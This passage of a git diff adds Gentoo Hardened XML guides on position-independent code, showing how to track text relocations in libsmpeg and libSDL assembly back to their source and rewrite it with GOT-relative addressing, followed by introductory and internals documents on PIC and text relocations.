+  /usr/lib/libSDL-1.2.so.0.7.2
+</pre>
+
+<p>
+Doesn't seem to be anything new here.  Poor memory usage in functions like 
+<e>_ConvertMMXpII32_24RGB888</e> and no symbol name which means it's probably 
+pure hand written assembler.  The <e>SDL_SoftStretch</e> function misuses the 
+symbol <e>_copy_row</e> and since the symbol name has been retained, it's 
+probably inline assembly code.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Finding the broken source code</title>
+<section>
+<body>
+
+<p>
+We've identified the functions and sometimes the variables which are causing 
+us such headaches.  Before we can actually fix them though, we have to narrow 
+down the source code to the offending lines.  Since we know the function 
+names and either the symbol name or a relative position in the function, we 
+should be able to focus our efforts quite easily.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>libsmpeg source dive</title>
+<body>
+
+<p>
+Let's start with libsmpeg.  We know that both the <e>cpu_flags</e> and 
+<e>IDCT_mmx</e> functions are broken.  But where are they defined?
+</p>
+
+<pre caption="Searching libsmpeg source">
+$ <i>tar zxf smpeg-0.4.4.tar.gz</i>
+$ <i>cd smpeg-0.4.4.tar.gz</i>
+
+<comment>[Find the cpu_flags function]</comment>
+$ <i>grep -Rl cpu_flags *</i>
+video/mmxflags_asm.S
+video/parseblock.cpp
+$ <i>grep cpu_flags video/mmxflags_asm.S</i>
+.globl cpu_flags
+        .type    cpu_flags,@function <comment>&lt;-- here is what we want</comment>
+cpu_flags:
+        jz cpu_flags.L1   # Processor is 386
+        je cpu_flags.L1
+cpu_flags.L1:
+        .size    cpu_flags,.Lfe1-cpu_flags
+
+<comment>[Find the IDCT_mmx function]</comment>
+$ <i>grep -Rl IDCT_mmx *</i>
+video/parseblock.cpp
+video/mmxidct_asm.S
+$ <i>grep IDCT_mmx video/mmxidct_asm.S</i>
+.globl IDCT_mmx
+        .type    IDCT_mmx,@function <comment>&lt;-- here is what we want</comment>
+IDCT_mmx:
+        .size    IDCT_mmx,.Lfe1-IDCT_mmx
+</pre>
+
+<p>
+As we suspected, both the <e>cpu_flags</e> and the <e>IDCT_mmx</e> functions 
+are written in pure assembly code.  This makes tracking down the unamed 
+memory reference easier because the source code should closely match the 
+output of <c>objdump</c>.  If we review the output from earlier, we know the 
+<e>cpuid</e> instruction is used.  Since it isn't a common instruction, we 
+search for it in the source code.
+</p>
+
+<pre caption="Find cpuid in cpu_flags">
+$ <i>grep -A 8 cpuid video/mmxflags_asm.S</i>
+        cpuid
+
+        movl %edx,flags
+
+        popa
+
+        movl flags,%eax
+
+cpu_flags.L1:
+</pre>
+
+<p>
+In GNU assembler, registers are prefixed with a <e>%</e> and constants are 
+prefixed with a <e>$</e>, that <e>flags</e> looks suspicious.  It also lines 
+up well with the <c>objdump</c> output from earlier.  So what is <e>flags</e>?
+</p>
+
+<pre caption="What is 'flags'?">
+$ <i>grep -C 2 flags video/mmxflags_asm.S</i>
+.data
+        .align 16
+        .type    flags,@object
+flags: .long 0
+
+.text
+</pre>
+
+<p>
+Seems <e>flags</e> is a data variable local to <path>mmxflags_asm.S</path> 
+which functions access with absolute memory references rather than relative.  
+Now we are pretty much done.  That's all there is to it.  We started with the 
+library <path>libsmpeg.so</path> and tracked it back to the function 
+<e>cpu_flags</e> and the variable <e>flags</e> in the 
+<path>video/mmxflags_asm.S</path> file.  That wasn't so hard now was it? :)
+</p>
+
+<p>
+If we analyze the <e>IDCT_mmx</e> function, we find a similar trend.
+</p>
+
+<pre caption="IDCT_mmx snippets">
+<comment>[Local variables]</comment>
+.data
+    .align 8
+    .type   x4546454645464546,@object
+    .size   x4546454645464546,8
+<i>x4546454645464546</i>:
+    .long   0x45464546,0x45464546
+
+    .align 8
+    .type   x61f861f861f861f8,@object
+    .size   x61f861f861f861f8,8
+<i>x61f861f861f861f8</i>:
+    .long   0x61f861f8,0x61f861f8
+
+    .align 8
+    .type    scratch1,@object
+    .size    scratch1,8
+<i>scratch1</i>:
+    .long 0,0
+
+<comment>[Absolute memory references]</comment>
+.text
+...
+    psraw $1, %mm5          /* t90=t93 */
+    pmulhw <i>x4546454645464546</i>,%mm0   /* V35 */
+    psraw $1, %mm2          /* t97 */
+...
+    psubsw %mm2, %mm1       /* V32 ; free mm2 */
+    pmulhw <i>x61f861f861f861f8</i>,%mm1   /* V36 */
+    psllw $1, %mm7          /* t107 */
+...
+    movq 8*3(%esi), %mm7
+    psraw $4, %mm4
+    movq %mm2, <i>scratch1</i>     /* out1 */
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>libSDL source dive</title>
+<body>
+
+<p>
+Again, before we jump into how to fix these, lets analyze a few more source 
+files to get a better handle on identifying problematic code.
+</p>
+
+<pre caption="Broken _ConvertMMXpII32_24RGB888 in libSDL code">
+<comment>[objdump of _ConvertMMXpII32_24RGB888 memory reference]</comment>
+<i>0004e210 &lt;_ConvertMMXpII32_24RGB888&gt;:</i>
+   <i>4e210:       0f 6f 35 50 55 05 00    movq   0x55550,%mm6</i>
+   4e217:       0f ef ff                pxor   %mm7,%mm7
+
+<comment>[_ConvertMMXpII32_24RGB888 is defined in src/hermes/mmxp2_32.asm]</comment>
+	SECTION .data
+ALIGN 8
+;; Constants for conversion routines
+mmx32_rgb888_mask dd 00ffffffh,00ffffffh
+...
+	SECTION .text
+_ConvertMMXpII32_24RGB888: <comment>start of function 0x4E210</comment>
+        ; set up mm6 as the mask, mm7 as zero
+        movq mm6, qword [mmx32_rgb888_mask] <comment>memory reference 0x4E213</comment>
+        pxor mm7, mm7
+</pre>
+
+<p>
+Simple enough, the <e>_ConvertMMXpII32_24RGB888</e> function refers to the 
+<e>mmx32_rgb888_mask</e> variable.
+</p>
+
+<pre caption="Broken SDL_SoftStretch in libSDL code">
+<comment>[SDL_SoftStretch is defined in src/video/SDL_stretch.c]</comment>
+int SDL_SoftStretch(SDL_Surface *src, SDL_Rect *srcrect,
+                    SDL_Surface *dst, SDL_Rect *dstrect)
+{
+...
+#ifdef __GNUC__
+            __asm__ __volatile__ (
+            "call _copy_row"
+            : "=&amp;D" (u1), "=&amp;S" (u2)
+            : "0" (dstp), "1" (srcp)
+            : "memory" );
+#else
+</pre>
+
+<p>
+Another straight forward bug.  An absolute reference to the  <e>_copy_row</e> 
+variable in assembly.  If we were to let gcc handle the <e>_copy_row</e> 
+reference instead though ...
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>How to write PIC (in theory)</title>
+
+<section>
+<title>Rules of thumb</title>
+<body>
+
+<p>
+Now we know what broken code looks like.  We can point out issues in code and 
+confidently declare "that crap is broken".  While this is a good thing, it 
+certainly doesn't help much if no one knows how it's supposed to be written.  
+Let's start with some rules of thumb.
+</p>
+
+<p>General rules</p>
+<ul>
+ <li>Do not mix PIC and non-PIC object code</li>
+ <li>Shared libraries contain PIC objects</li>
+ <li>Static libraries contain non-PIC objects (normal/non-PIE systems only)</li>
+ <li>Let gcc figure out the details whenever possible (e.g. inline asm)</li>
+ <li>Use the stack for loading of large masks instead of variables</li>
+ <li>Do not clobber the PIC register when generating PIC objects</li>
+</ul>
+
+<p>x86-specific rules</p>
+<ul>
+ <li>Use @GOT relocations when using external symbols</li>
+ <li>Use @GOTOFF relocations when using local symbols</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>PIC registers by architecture</title>
+<body>
+
+<table>
+ <tr><th>arch</th><th>register</th></tr>
+ <tr><ti>blackfin</ti><ti>P3</ti></tr>
+ <tr><ti>frv</ti><ti>GR15</ti></tr>
+ <tr><ti>hppa</ti><ti>r19</ti></tr>
+ <tr><ti>x86</ti><ti>ebx</ti></tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Cookie cutter PIC fixes</title>
+
+<section>
+<title>Don't use the PIC register</title>
+<body>
+
+<p>
+If you come across code which uses the PIC register in some inline assembly, 
+one fix may be to simply use a different register.  For example, the x86 
+architecture has 6 general purpose registers (<e>eax</e>, <e>ebx</e>, 
+<e>ecx</e>, <e>edx</e>, <e>esi</e>, <e>edi</e>).  If the code uses just 
+<e>eax</e> and <e>ebx</e>, just change all references to <e>ebx</e> to 
+<e>ecx</e> and you're done!
+</p>
+
+<p>
+A cleaner fix might be to just let gcc allocate the registers accordingly.  If 
+the inline assembly doesn't actually care which registers it uses, change the 
+references from <e>ebx</e> to <e>r</e> in the clobber list, and refer to the 
+variable by number.
+</p>
+
+<p>
+Or, if the assembly uses an instruction which always clobbers <e>ebx</e> (e.g. 
+<e>cpuid</e>), simply hide the value in another register (like <e>esi</e>).
+</p>
+
+<p>
+If all else fails, you can fall back to the slow push/pop <e>ebx</e> on the 
+stack method.
+</p>
+
+<pre caption="Just don't use the PIC register">
+<comment>/* change this code from */</comment>
+asm("
+    mov %0, %%eax
+    mov %1, %%ebx
+    add %%eax, %%ebx
+    " : : "m"(input1), "m"(input2) : "eax" "ebx");
+
+<comment>/* to this functionality equivalent version */</comment>
+asm("
+    mov %0, %%eax
+    mov %1, %%ecx
+    add %%eax, %%ecx
+    " : : "m"(input1), "m"(input2) : "eax" "ecx");
+</pre>
+
+<pre caption="Let gcc allocate registers">
+<comment>/* change this code from */</comment>
+asm("
+    mov %2, %%eax
+    mov %3, %%ebx
+    add %%eax, %%ebx
+    " : "=a"(output1) "=b"(output2) : "m"(input1), "m"(input2));
+
+<comment>/* to this functionality equivalent version */</comment>
+asm("
+    mov %2, %0
+    mov %3, %1
+    add %0, %1
+    " : "=r"(output1) "=r"(output2) : "m"(input1), "m"(input2));
+</pre>
+
+<pre caption="Hide the PIC register">
+asm("cpuid" : : : "eax", "ebx", "ecx", "edx");
+
+<comment>/* can be written to hide ebx */</comment>
+asm("
+    movl %%ebx, %%edi
+    cpuid
+    movl %%edi, %%ebx
+    " : : : "eax", "ecx", "edx", "edi");
+
+<comment>/* or a slower version using the stack */</comment>
+asm("
+    pushl %%ebx
+    cpuid
+    popl %%ebx
+    " : : : "eax", "ecx", "edx");
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>MMX/SSE masks</title>
+<body>
+
+<p>
+A lot of x86 MMX/SSE code loads bitmasks from local variables since they need 
+to fill up a register which is larger (MMX/64bits or SSE/128bits) than the 
+native bitsize (x86/32bits).  They do this by defining the mask in 
+consecutive bytes in memory and then having the cpu load the data from the 
+memory region.
+</p>
+
+<p>
+One way to get around this is by being creative with the stack.  Rather than 
+use an absolute memory reference for the mask, push a bunch of 32bit values 
+onto the stack and use the address specified by the <e>esp</e> register.  
+Once you're finished, just add a constant to <e>esp</e> rather than popping 
+off since you don't care about the actual values once they are loaded into 
+the MMX/SSE registers.
+</p>
+
+<pre caption="Load masks into registers via stack">
+<comment>/* Load masks from memory (causes TEXTRELs) */</comment>
+	.data
+m0X000000: .byte   0,   0,   0,   0,   0,   0, 255,   0
+	.text
+movq	m0X000000, %mm5
+
+<comment>/* Load mask from stack (no TEXTRELs)*/</comment>
+pushl	$0x00FF0000
+pushl	$0x00000000
+movq	(%esp), %mm5
+addl	8, %esp
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Let gcc worry about it</title>
+<body>
+
+<p>
+A lot of inline assembly is written with the symbol names placed right in the 
+code.  Rather than trying to write custom code to handle PIC in assembly, just 
+let gcc worry about it.  Pass in the symbol via the input operand list as a 
+memory constraint ("m") and gcc will handle all the rest.
+</p>
+
+<pre caption="How to make gcc worry about it">
+unsigned long long a_mmx_mask = 0xf8007c00ffea0059ULL;
+void somefunction()
+{
+	<comment>/* Common (but incorrect) method for loading masks */</comment>
+	asm("pmullw a_mmx_mask, %%mm0" : : );
+
+	<comment>/* The correct way is to let gcc do it */</comment>
+	asm("pmullw %0, %%mm0" : : "m"(a_mmx_mask));
+}
+</pre>
+
+<p>
+If your get a warning/error about one of the memory inputs needing to be an 
+lvalue, then this usually means you're trying to pass in a pointer to an 
+array/structure rather than the memory location itself.  Fixing this may be as 
+simple as dereferencing the variable in the constraint list rather than in the 
+assembly itself.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Thunk it in assembly</title>
+<body>
+
+<p>
+Hand written assembly sometimes need to access variables (whether they be 
+local or global).  Since none of the previous tricks will work, you just need 
+to grind your teeth and dig in to write real PIC references yourself using 
+the GOT.  Make sure you keep in mind the first rule of thumb: Do not mix PIC 
+and non-PIC object code.  This probably will require the hand written 
+assembly be preprocessed before it is assembled, so an assembly source file 
+with a <e>.s</e> suffix will not work.  It needs to be <e>.S</e>.
+</p>
+
+<p>
+Also keep in mind that using @GOTOFF will return the variable while using @GOT 
+will return a pointer to the variable.  So accessing a variable with @GOT will 
+require two steps.
+</p>
+
+<pre caption="How to refer to variables via the GOT">
+#ifdef __PIC__
+
+# undef __i686 /* gcc builtin define gets in our way */
+# define MUNG_LOCAL(sym)   sym ## @GOTOFF(%ebx)
+# define MUNG_EXTERN(sym)  sym ## @GOT(%ebx)
+# define DEREF_EXTERN(reg) movl (reg), reg
+# define INIT_PIC() \
+	call __i686.get_pc_thunk.bx ; \
+	addl $_GLOBAL_OFFSET_TABLE_, %ebx
+
+#else
+
+# define MUNG_LOCAL(sym)   sym
+# define MUNG_EXTERN(sym)  sym
+# define DEREF_EXTERN(reg)
+# define INIT_PIC()
+
+#endif
+
+...
+some_function:
+...
+	<comment>/* needs to be before first memory reference */</comment>
+	INIT_PIC()
+...
+	movl MUNG_EXTERN(some_external_variable), %eax
+	DEREF_EXTERN(%eax)
+...
+	movl %eax, MUNG_LOCAL(some_local_variable)
+...
+
+#ifdef __PIC__
+	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
+.globl __i686.get_pc_thunk.bx
+	.hidden  __i686.get_pc_thunk.bx
+	.type    __i686.get_pc_thunk.bx,@function
+__i686.get_pc_thunk.bx:
+	movl (%esp), %ebx
+	ret
+#endif
+</pre>
+
+<note>
+Usage of <e>ebx</e> as the register to do relative addressing is not required, 
+it is just common convention.  The above examples could just as easily be done 
+by using <e>ecx</e> or <e>edx</e>.
+</note>
+
+<p>
+Since we hide the PIC details behind the preprocessor define <e>__PIC__</e>, 
+we know that the correct code will be generated for both the PIC and non-PIC 
+cases.
+</p>
+
+<p>
+The <e>__i686.get_pc_thunk.bx</e> function is a standard method for acquiring 
+the address of the GOT at runtime and storing the result in <e>ebx</e>.  The 
+funky name is what gcc uses by convention when generating PIC objects, so we 
+too use the same name.  The <e>@GOT</e> and <e>@GOTOFF</e> notation tells the 
+assembler where to find the variables in memory.  The <e>.section 
+.gnu.linkonce.t</e> is useful because it tells the linker to only include one 
+instance of this function in the final object code.  So if you have multiple 
+files which declare this same function which are compiled and linked into the 
+same final library, the linker will discard all duplicate instances of the 
+function thus saving space (which is always a good thing).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>How to fix broken PIC (in practice)</title>
+<section>
+<body>
+
+<p>
+So if the previous code snippets were broken, what should they look like you 
+may wonder.  Well let's find out.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Fix libsmpeg</title>
+<body>
+
+<pre caption="Fixing cpu_flags in libsmpeg by rewriting it">
+<comment>[Non-PIC Version]</comment>
+.type flags,@object
+flags: .long 0
+...
+	pusha
+	movl $1,%eax
+	cpuid
+	movl %edx,flags
+	popa
+	movl flags,%eax
+
+
+<comment>[PIC Version]</comment>
+	pushl %ebx
+	movl $1,%eax
+	cpuid
+	movl %edx,%eax
+	popl %ebx
+</pre>
+
+<pre caption="Fixing IDCT_mmx in libsmpeg by using relative addressing">
+<comment>[Non-PIC Version]</comment>
+	pmulhw x5a825a825a825a82, %mm1
+
+
+<comment>[PIC Version]</comment>
+#ifdef __PIC__
+# undef __i686 /* gcc define gets in our way */
+	call __i686.get_pc_thunk.bx
+	addl $_GLOBAL_OFFSET_TABLE_, %ebx
+#endif
+...
+	pmulhw x5a825a825a825a82@GOTOFF(%ebx), %mm1
+...
+#ifdef __PIC__
+	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
+.globl __i686.get_pc_thunk.bx
+	.hidden  __i686.get_pc_thunk.bx
+	.type    __i686.get_pc_thunk.bx,@function
+__i686.get_pc_thunk.bx:
+	movl (%esp), %ebx
+	ret
+#endif
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Fix libSDL</title>
+<body>
+
+<pre caption="Fixing _ConvertMMXpII32_24RGB888 in libSDL">
+<comment>[Non-PIC Version]</comment>
+mmx32_rgb888_mask dd 00ffffffh,00ffffffh
+...
+	movq mm6, qword [mmx32_rgb888_mask]
+
+
+<comment>[PIC Version]</comment>
+%macro _push_immq_mask 1
+	push dword %1
+	push dword %1
+%endmacro
+%macro load_immq 2
+	_push_immq_mask %2
+	movq %1, [esp]
+%endmacro
+%define mmx32_rgb888_mask 00ffffffh
+...
+	load_immq mm6, mmx32_rgb888_mask
+	CLEANUP_IMMQ_LOADS(1)
+</pre>
+
+<pre caption="Fixing SDL_SoftStretch in libSDL">
+<comment>[Non-PIC Version]</comment>
+	__asm__ __volatile__ (
+		"call _copy_row"
+		: "=&amp;D" (u1), "=&amp;S" (u2)
+		: "0" (dstp), "1" (srcp)
+		: "memory" );
+
+
+<comment>[PIC Version]</comment>
+	__asm__ __volatile__ (
+		"call *%4"
+		: "=&amp;D" (u1), "=&amp;S" (u2)
+		: "0" (dstp), "1" (srcp), "r" (&amp;_copy_row)
+		: "memory" );
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>References</title>
+<section>
+<body>
+
+<ul>
+ <li>thanks to the PaX team for holding my hand</li>
+ <li><uri link="http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html">GCC Inline Assembly HOWTO</uri></li>
+ <li><uri link="http://nasm.sourceforge.net/">NASM</uri>'s Documentation on <uri link="http://nasm.sourceforge.net/doc/html/nasmdoc6.html#section-6.5.2">ELF shared libraries</uri></li>
+ <li>Linkers and Loaders <uri link="http://www.iecc.com/linker/linker08.html">chapter 8</uri> and <uri link="http://www.iecc.com/linker/linker10.html">chapter 10</uri></li>
+</ul>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/pic-guide.xml b/xml/htdocs/proj/en/hardened/pic-guide.xml
new file mode 100644
index 00000000..ce94b204
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/pic-guide.xml
@@ -0,0 +1,151 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/pic-guide.xml" lang="en">
+<title>Introduction to Position Independent Code</title>
+
+<author title="Author">
+ <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Editor">
+ <mail link="pappy@gentoo.org">Alexander Gabert</mail>
+</author>
+
+<abstract>What every developer should understand about using Position Independent Code</abstract>
+
+<!-- The content of this document is placed into the public domain, have fun -->
+<license/>
+
+<version>1.2</version>
+<date>2005-10-11</date>
+
+<chapter>
+<title>Introduction to PIC - (Position Independent Code)</title>
+<section>
+<body>
+
+<p>
+PIC code radically differs from conventional code in the way it
+calls functions and operates on data variables.<br/>
+
+It will access these functions and data through an indirection table,
+the "Global Offset Table" (GOT), by software convention accessible using
+the reserved name "_GLOBAL_OFFSET_TABLE_".<br/>
+
+The exact mechanism used for this is hardware architecture dependent,
+but usually a special machine register is reserved for setting up
+the location of the GOT when entering a function.<br/>
+
+The rationale behind this indirect addressing is to generate code
+that can be independently accessed of the actual load address.<br/>
+
+In a true PIC library without relocations in the text segment,
+only the symbols exported in the "Global Offset Table" need updating
+at run-time depending on the current load address of the various
+shared libraries in the address space of the running process.
+</p>
+
+<p>
+Likewise, procedure calls to globally defined functions are redirected
+through the "Procedure Linkage Table" (PLT) residing in the data segment
+of the core image.  Again, this is done to avoid run-time modifications
+to the text segment.
+</p>
+
+<p>
+The linker-editor allocates the Global Offset Table and Procedure
+Linkage Table when combining PIC object files into an image suitable for
+mapping into the process address space.  It also collects all symbols
+that may be needed by the run-time link-editor and stores these along
+with the image's text and data bits.  Another reserved symbol, _DYNAMIC
+is used to indicate the presence of the run-time linker structures. 
+Whenever _DYNAMIC is relocated to 0, there is no need to invoke the
+run-time link- editor.  If this symbol is non-zero, it points at a data
+structure from which the location of the necessary relocation- and
+symbol information can be derived.  This is most notably used by the
+start-up module, crt0, crt1S and more recently Scrt1. The _DYNAMIC
+structure is conventionally located at the start of the data segment of
+the image to which it pertains.
+</p>
+
+<p>
+On most architectures, when you compile source code to object code, you
+need to specify whether the object code should be position independent
+or not. There are occasional architectures which don't make the
+distinction, usually because all object code is position independent by
+virtue of the Application Binary Interface (ABI), or less often because
+the load address of the object is fixed at compile time, which implies
+that shared libraries are not supported by such a platform).
+
+If an object is compiled as position independent code (PIC),
+then the operating system can load the object at any address
+in preparation for execution. This involves a time overhead,
+in replacing direct address references with relative addresses at
+compile time, and a space overhead, in maintaining information to help
+the runtime loader fill in the unresolved addresses at runtime.
+Consequently, PIC objects are usually slightly larger and slower at
+runtime than the equivalent non-PIC object. The advantage of sharing
+library code on disk and in memory outweigh these problems as soon as
+the PIC object code in shared libraries is reused.
+</p>
+
+<p>
+PIC compilation is exactly what is required for objects which will
+become part of a shared library. Consequently, libtool builds PIC
+objects for use in shared libraries and non-PIC objects for use in
+static libraries. Whenever libtool instructs the compiler to generate a
+PIC object, it also defines the preprocessor symbol, `PIC', so that
+assembly code can be aware of whether it will reside in a PIC object or
+not.
+</p>
+
+<p>
+Typically, as libtool is compiling sources, it will generate a `.lo'
+object, as PIC, and a `.o' object, as non-PIC, and then it will use the
+appropriate one of the pair when linking executables and libraries of
+various sorts. On architectures where there is no distinction, the `.lo'
+file is just a soft link to the `.o' file.
+</p>
+
+<p>
+In practice, you can link PIC objects into a static archive for a small
+overhead in execution and load speed, and often you can similarly link
+non-PIC objects into shared archives.
+</p>
+
+<p>
+When you use position-independent code, relocatable references are
+generated as an indirection that use data in the shared object's data
+segment. The text segment code remains read-only, and all relocation
+updates are applied to corresponding entries within the data segment. 
+</p>
+
+<p>
+If a shared object is built from code that is not position-independent,
+the text segment will usually require a large number of relocations to
+be performed at runtime. Although the runtime linker is equipped to
+handle this, the system overhead this creates can cause serious
+performance degradation.
+</p>
+
+<p>
+You can identify a shared object that requires relocations against its
+text segment using tools such as 'readelf -d foo' and inspect the output
+for any TEXTREL entry. The value of the TEXTREL entry is irrelevant. Its
+presence in a shared object indicates that text relocations exist.
+</p>
+
+<p>
+References:
+</p>
+<ul>
+ <li><uri link="link.5.html">NetBSD link(5) File Formats Manual</uri></li>
+ <li><uri link="http://sources.redhat.com/autobook/autobook/autobook_71.html#SEC71">Autobook (Position Independent Code) from Chapter 10.2.1</uri></li>
+ <li><uri link="http://docs.sun.com/app/docs/doc/817-1984">docs.sun.com: Linker and Libraries Guide</uri></li>
+ <li>Linkers and Loaders <uri link="http://www.iecc.com/linker/linker08.html">chapter 8</uri> and <uri link="http://www.iecc.com/linker/linker10.html">chapter 10</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/pic-internals.xml b/xml/htdocs/proj/en/hardened/pic-internals.xml
new file mode 100644
index 00000000..53568bbd
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/pic-internals.xml
@@ -0,0 +1,283 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/pic-internals.xml" lang="en">
+<title>Position Independent Code internals</title>
+
+<author title="Author">
+ <mail link="pappy@gentoo.org">Alexander Gabert</mail>
+</author>
+<author title="Contributor">
+ <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributor">
+ <mail link="pageexec@freemail.hu">The PaX team</mail>
+</author>
+
+<abstract>Understanding the impact of text relocations and explaining the use of PIC in shared libraries</abstract>
+
+<!-- The content of this document is placed into the public domain, have fun -->
+<license/>
+
+<version>1.0</version>
+<date>Feb 14 2004</date>
+
+<chapter>
+<title>Excerpt</title>
+<section>
+<body>
+<p>
+This technical documentation tries to explain and evaluate the technical background and the performance benefit or likewise penalty of PIC (Position Independent Code).
+</p>
+
+<p>
+The goal should be achieved by illustrating an easy to follow learning path to understand text relocations and why they are imposing a security risk and a speed penalty to running applications.
+</p>
+
+<p>
+To enhance the reading comfort for beginners, it is not covering stack layouts, the technical details of starting functions and discussing internal toolchain processings during building and executing programs.
+
+We are aware of the fact that this document may put a smile on the face of experienced readers due to the sometimes barely justified oversimplification of technical internals.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Introduction to PIC - (Position Independent Code)</title>
+<section>
+<body>
+
+<p>
+PIC code differs from traditional code in the method it will perform access to function code and data objects/variables through an indirect accessing table.
+
+This table is called the "Global Offset Table" because it contains the addresses of code functions and data objects exported by a shared library.
+</p>
+
+<p>
+The dynamic loader modifies the GOT slots to resemble the current memory address for every exported symbol in the library.
+
+When the dynamic loader has completed, the GOT contains full absolute addresses for each symbol reference constructed from the load address (PT_LOAD) of the shared library that contains these symbols plus their offset inside this shared library.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Using PIC for building shared libraries</title>
+<section>
+<body>
+
+<p>
+Besides for using position independent executables (see PIE-SSP docs, PaX specs files using -shared and Jelinek binutils patches for -pie support),
+the natural reason for using "-fPIC" (position independent code) is the use in shared dynamic libraries.
+
+This makes the overall footprint of all dynamically linked ELF executables on the system as small as possible,
+while it also prevents possible code duplication and actively reduces requirements on memory and file system.
+</p>
+
+<p>
+A unique characteristic of a typical shared library is that it can be located anywhere in the process memory layout.
+Because of this, the contents of the shared library are not accessed directly but via clearly exported definitions in symbol tables during building.
+Today, shared libraries can be easily implemented by incorporating this key advantage of the ELF standard.
+
+Making libraries larger, smaller or moving around functions in the library is very easy as long as the symbol table to access the functions does not change.
+</p>
+
+<p>
+During building, The linker is only responsible for setting up exported symbols of the library in question.
+
+Telling the object code that it needs to be position independent is the task of the preprocessor and the compiler.
+Here, the role of the Makefiles and the CFLAGS/LDFLAGS feeding the compiler with instructions becomes visible.
+
+The preprocessor is adding special definitions ("__PIC__" "__pic__") and the compiler is using "-fPIC" or "-fpic" depending on the data access model.
+Hopefully, when there is no PIC unaware assembler in the source code, these flags are generating the object code needed for position independence.
+
+The object code needs to be generated PIC for successfully opening the doors to position independent relocation of the library, created from the PIC .o relocatable objects.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Relocations in the TEXT segment of shared libraries used by dynamically linked executables</title>
+<section>
+<body>
+
+<p>
+This chapter is going to explain the reasons why relocations in the TEXT segment of a library, also called "text relocations", must be avoided by designers of shared libraries.
+</p>
+
+<p>
+The performance penalty of text relocations is the reason that every shared library object code should be generated with -fPIC or -fpic, depending on the addressing range of the data that is used.
+
+Otherwise the library is considered not "clean".
+</p>
+
+<p>
+A text relocation is a memory address in the "LOAD READ-EXECUTE" text segment of a shared library where text segment means the segment that contains the program code.
+
+Such a nonPIC text segment often contains large amounts of memory addresses that need to be "patched" (manipulated, modified, corrected) with the runtime location of functions and data.
+
+This is performed by the dynamic loader (ld.so in glibc) during startup of the dynamically linked executable and invocation of these libraries in the process space.
+
+The reason that the dynamic loader needs to spend so much time "patching" memory addresses (relocations) was stated above:
+a unique characteristic of a typical shared library is that it can be located anywhere in the process memory layout.
+
+</p>
+
+<p>
+So the dynamic loader is the key to the "located anywhere" functionality: it recognizes and reorganizes the memory addresses that need to be refurbished and applies the change to these locations.
+
+This means that the dynamic loader will be responsible for relocating the memory address.
+
+For example, in a non-PIC compiled libmpeg3 library there are roughly 6000 memory locations left inside the shared library to point to some 200-300 functions and data referred by the instructions.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Using prelink and LD_BIND_NOW</title>
+<section>
+<body>
+
+<p>
+Using prelink somehow mitigates the performance-intensive relocation process to a one-time operation: the relocation is satisfied and prematurely resolved/patched inside the binaries and the nonPIC shared libraries.
+
+This can be reached with using a program like prelink that is working on the actual files and modifying the relocations and GOT slots in the executables and libraries directly, thus saving the dynamic loader a lot of work during actually starting and running the executable.
+
+While dealing with executables, note that prelink inserts a "hint" into the PT_LOAD segment of every shared library to make the kernel load it at the expected address.
+</p>
+
+<p>
+Bear in mind that not all relocations are resolved at startup time.
+When LD_BIND_NOW is not used, the lazy binding for libraries somehow tries to minimize the overhead to a more timely fashion by only relocating symbols at their first invocation during program flow.
+
+The environment variable LD_BIND_NOW (and the ld switch "-z now") tries to address this problem for slow machines by moving all needed relocations to be done at startup of a binary, invoking much much slower startup times but later making the binary run more fluently on slower machines because relocations are satisfied now :-)
+
+But you should be careful and know that using LD_BIND_NOW is not recommended on machines where responsiveness is an issue, clicking on an icon in KDE or GNOME and waiting 20 seconds for evolution to start is sometimes inacceptable by users.
+
+In doubt, use prelink!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>More about negative side effects of text relocations in shared libraries</title>
+<section>
+<body>
+
+<p>
+There are two drawbacks of nonPIC shared libraries currently.
+</p>
+
+<p>
+There is a moderate security risk on nonPIC libraries containing text relocations.
+The TEXT pages for shared libraries cannot be marked READONLY by the kernel starting the binary and mapping in ELF segments and libraries.
+</p>
+
+<p>
+There is also a memory overhead and performance penalty: data and code cannot be shared amongst processes via COW.
+
+COW means "copy on write", this uses the same readonly memory pages for all instances of the same binary and for all processes referring to the same used libraries.
+
+Using COW, readonly memory pages for shared libraries and executables need not to be recreated for new processes in their memory until they are are about to be changed by the new process, like for patching in text relocations by the dynamic loader, this is all implemented transparently in the virtual memory management of the Linux kernel.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>So, why not use -fPIC building as default for all applications?</title>
+<section>
+<body>
+
+<p>
+So why not compile all applications with -fPIC if it has so much advantages?
+
